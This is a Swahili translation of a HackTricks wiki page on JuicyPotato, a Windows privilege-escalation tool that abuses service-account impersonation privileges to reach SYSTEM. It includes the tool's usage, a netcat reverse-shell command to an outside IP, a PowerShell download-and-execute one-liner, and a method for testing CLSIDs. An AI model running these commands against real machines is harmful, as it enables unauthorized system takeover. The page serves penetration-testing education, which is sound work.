JuicyPotato
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
[!WARNING] > JuicyPotato haitumiki kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, PrintSpoofer, RoguePotato, SharpEfsPotato zinaweza kutumika kuchukua faida ya ruhusa sawa na kupata
NT AUTHORITY\SYSTEM
kiwango cha ufikiaji. Angalia:
{{#ref}} roguepotato-and-printspoofer.md {{#endref}}
Juicy Potato (kutumia ruhusa za dhahabu)
Toleo lililo na sukari la RottenPotatoNG, likiwa na kidogo cha juisi, yaani chombo kingine cha Kupanua Ruhusa za Mitaa, kutoka Akaunti za Huduma za Windows hadi NT AUTHORITY\SYSTEM
Unaweza kupakua juicypotato kutoka https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Muhtasari
Kutoka kwa juicy-potato Readme:
RottenPotatoNG na mifano zake zinatumia mnyororo wa kupanua ruhusa kulingana na BITS
huduma ikiwa na msikilizaji wa MiTM kwenye 127.0.0.1:6666
na unapokuwa na ruhusa za SeImpersonate
au SeAssignPrimaryToken
. Wakati wa ukaguzi wa toleo la Windows tuligundua usanidi ambapo BITS
ulikuwa umezimwa makusudi na bandari 6666
ilikuwa imechukuliwa.
Tuliamua kuunda silaha RottenPotatoNG: Sema salamu kwa Juicy Potato.
Kwa nadharia, angalia Rotten Potato - Kupanua Ruhusa kutoka Akaunti za Huduma hadi SYSTEM na ufuate mnyororo wa viungo na marejeleo.
Tuligundua kwamba, mbali na BITS
kuna seva kadhaa za COM tunaweza kutumia. Zinahitaji tu:
- kuwa na uwezo wa kuanzishwa na mtumiaji wa sasa, kawaida "mtumiaji wa huduma" ambaye ana ruhusa za kuiga
- kutekeleza interface ya
IMarshal
- kukimbia kama mtumiaji aliyeinuliwa (SYSTEM, Administrator, …)
Baada ya majaribio kadhaa tulipata na kujaribu orodha kubwa ya CLSID za kuvutia kwenye toleo kadhaa za Windows.
Maelezo ya Juicy
JuicyPotato inakuwezesha:
- CLSID ya Lengo chagua CLSID yoyote unayotaka. Hapa unaweza kupata orodha iliyopangwa kwa OS.
- Bandari ya Kusikiliza ya COM mwelekeo wa bandari ya kusikiliza ya COM unayopendelea (badala ya 6666 iliyowekwa kwenye marshalled)
- Anwani ya IP ya Kusikiliza ya COM fungua seva kwenye IP yoyote
- Njia ya uundaji wa mchakato kulingana na ruhusa za mtumiaji aliyeiga unaweza kuchagua kutoka:
CreateProcessWithToken
(inahitajiSeImpersonate
)CreateProcessAsUser
(inahitajiSeAssignPrimaryToken
)zote
- Mchakato wa kuzindua zindua executable au script ikiwa unyakuzi utafaulu
- Argument ya Mchakato binafsisha hoja za mchakato uliozinduliwa
- Anwani ya Seva ya RPC kwa njia ya siri unaweza kujiandikisha kwa seva ya RPC ya nje
- Bandari ya Seva ya RPC inafaa ikiwa unataka kujiandikisha kwa seva ya nje na firewall inazuia bandari
135
… - MTIHANI wa hali hasa kwa madhumuni ya majaribio, yaani. kujaribu CLSIDs. Inaunda DCOM na kuchapisha mtumiaji wa token. Angalia hapa kwa majaribio
Matumizi
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Mawazo ya Mwisho
Ikiwa mtumiaji ana SeImpersonate
au SeAssignPrimaryToken
ruhusa basi wewe ni SYSTEM.
Ni karibu haiwezekani kuzuia matumizi mabaya ya COM Servers hizi zote. Unaweza kufikiria kubadilisha ruhusa za vitu hivi kupitia DCOMCNFG
lakini bahati njema, hii itakuwa changamoto.
Suluhisho halisi ni kulinda akaunti nyeti na programu ambazo zinafanya kazi chini ya akaunti za * SERVICE
. Kuzuia DCOM
hakika kutazuia exploit hii lakini kunaweza kuwa na athari kubwa kwenye OS inayotegemea.
Kutoka: http://ohpe.it/juicy-potato/
Mifano
Kumbuka: Tembelea ukurasa huu kwa orodha ya CLSIDs za kujaribu.
Pata nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Anzisha CMD mpya (ikiwa una ufikiaji wa RDP)
Matatizo ya CLSID
Mara nyingi, CLSID ya kawaida ambayo JuicyPotato inatumia haifanyi kazi na exploit inashindwa. Kawaida, inachukua majaribio kadhaa kupata CLSID inayofanya kazi. Ili kupata orodha ya CLSIDs za kujaribu kwa mfumo maalum wa uendeshaji, unapaswa kutembelea ukurasa huu:
{{#ref}} https://ohpe.it/juicy-potato/CLSID/ {{#endref}}
Kuangalia CLSIDs
Kwanza, utahitaji baadhi ya executable mbali na juicypotato.exe.
Pakua Join-Object.ps1 na uipakie kwenye kikao chako cha PS, na pakua na uendeshe GetCLSID.ps1. Skripti hiyo itaunda orodha ya CLSIDs zinazowezekana za kujaribu.
Kisha pakua test_clsid.bat (badilisha njia ya orodha ya CLSID na kwa executable ya juicypotato) na uendeshe. Itaanza kujaribu kila CLSID, na wakati nambari ya bandari inabadilika, itamaanisha kwamba CLSID ilifanya kazi.
Angalia CLSIDs zinazofanya kazi ukitumia parameter -c
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.